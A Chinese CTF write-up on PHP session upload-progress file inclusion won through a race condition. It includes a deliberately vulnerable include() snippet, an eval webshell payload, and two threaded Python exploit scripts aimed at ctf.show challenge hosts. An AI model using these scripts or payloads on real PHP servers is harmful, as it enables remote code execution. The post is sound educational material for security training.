window.cnblogsConfig = { progressBar: { color : '#77b6ff', }, }

CTF中Session文件包含与条件竞争

#CTF中Session文件包含与条件竞争

记得2021ciscn国赛初赛给了一道session竞争的题目。上次CTFSHOW 吃瓜杯也做到了session条件竞争。这次2021祥云杯又出了这个考点。三次都没做出来。嘻嘻嘻!🤭。所以今天决定花时间把这个考点搞清除,整明白。

session知识点

众所周知,session是会出现在我们的cookie当中。作为一种用户凭证。在PHP 5.4以上的版本,session中多了一个记录文件上传进度的功能。那么现在说一下如果要利用条件竞争,需要的几个必备条件。

session.upload_progress.enabled = on:该参数设置为On时,才会进行文件上传进度的记录。

session.upload_progress.cleanup = on:该参数开启时,会在文件上传结束时对用户session内容进行自动清除。

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS":	该参数与prefix作为我们的键名。方便我们的shell编写,可控。

session.upload_progress.prefix = "upload_progress_":该参数表示与name一起构成我们的键名。

本地复现搭建

关闭cleanup

为了对该知识点有一个初步认识,我们先做一个难度不大的。先将session.upload_progress.cleanup = Off。这样我们上传的东西不会删

修改php.ini的方法:将最前面的分号替换为空格即可。注意一定要有空格。

本地创建一个Session_Test.php。加入如下代码。

<?php
    $file = $_GET[file];
    include($file);

添加cookie:PHPSESSID=k1he 刷新后会发现我们的session存放目录下多了一个sess_k1he。image-20210823190331079

可以发现里面什么内容都没有。现在我们利用post上传一个文件,让里面有东西。

image-20210823192425280

我们截取一个表单上传文件的页面。可以发先表单上传文件时有几个重点

有了这个数据,那么我们可以用python模拟Post上传文件。进而达到shell的写入。

这里再贴一个上传表单的格式与上传后的结果

// PHPSESSION = test
<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

image-20210823193700588

可以看见上传后我们的upload_progress_123 这里123是我们可控的。那么我们只用post我们需要的参数即可

cookie = {'PHPSESSID':sessid},
data = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[1]);?>"},
files = {'file':('k1he.txt',f)}
这样就能模拟我们的post文件上传了。

上传文件后,里面会有序列化后的我们的data内容。

这时候,我们再包含这个session文件,那么我们就可以RCE了。

开启cleanup

开启cleanup后,我们的文件上传完毕后,会对我们session文件里的内容全部删除。这时候我们就需要利用条件竞争。一直不停的上传文件,从而使我们的内容来不及删除,从而被我们利用。并且使用双线程

题目复现

先整个简单的 ctfshow web入门 82~86 通杀脚本

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看见是一个文件包含题目,将伪协议过滤完了。通过cookie发现存在session。那么考虑session文件包含。

一般session的存放位置

/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
本题型一律采用/tmp/形式

那么直接选择使用脚本:我是先ls一下,再使用脚本拿flag。这里需要注意的是:

我们拿到的数据长这样。前面讲过了,我们的键名的格式就是upload_progress_+数据两个部分

image-20210823202526851

#coding=utf-8
# @Author: k1he
# @Date:   2021-08-23 18:08:10
# @Last Modified by:   k1he
# @Last Modified time: 2021-08-23 20:19:18
import io
import requests
import threading

sessid = 'k1he'
url = 'http://a0c9ce43-6c4d-4b28-aa61-1c7a6eb40879.challenge.ctf.show:8080/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a'* 1024 * 50)                     #创建文件
        response = session.post(                            #post文件上传
            url,                                            #url
            cookies = {'PHPSESSID':sessid},                   #设置cookie为我们的sessid
            data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *fl0g.php');?>"},#写马或执行内容
            files = {"file":('k1he.txt',f)}                 #上传文的具体内容,文件名和文件内容
            )

def read(session):
    while event.isSet():
        payload = "?file=/tmp/sess_"+sessid                 #包含我们的session路径

        response = session.get(url = url+payload)           #读取页面

        if 'k1he.txt' in response.text:                     #返回页面
            print(response.text)
            event.clear
        else:
            print("[*]retrying!!!")


if __name__ == '__main__':                                  #双线程运行
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()



ctfshow web 150plus:这里是非预期,预期解我不会嘻嘻嘻。

#coding=utf-8
# @Author: k1he
# @Date:   2021-08-23 18:08:10
# @Last Modified by:   k1he
# @Last Modified time: 2021-08-23 20:34:04
import io
import requests
import threading

sessid = 'k1he'
url = 'http://522d8444-7909-4206-af01-bc1257b3c59d.challenge.ctf.show:8080/?isVIP=1'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a'* 1024 * 50)                     #创建文件
        response = session.post(                            #post文件上传
            url,                                            #url
            cookies = {'PHPSESSID':sessid},                   #设置cookie为我们的sessid
            data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},#写马或执行内容
            files = {"file":('k1he.txt',f)}                 #上传文的具体内容,文件名和文件内容
            )

def read(session):
    while event.isSet():
        data ={
            'ctf':"/tmp/sess_"+sessid 
        }
                         #包含我们的session路径

        response = session.post(url = url,data =data)           #读取页面

        if 'k1he.txt' in response.text:                     #返回页面
            print(response.text)
            event.clear
        else:
            print("[*]retrying!!!")


if __name__ == '__main__':                                  #双线程运行
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()



posted @ 2021-08-23 20:48  k1he  阅读(1234)  评论(0编辑  收藏  举报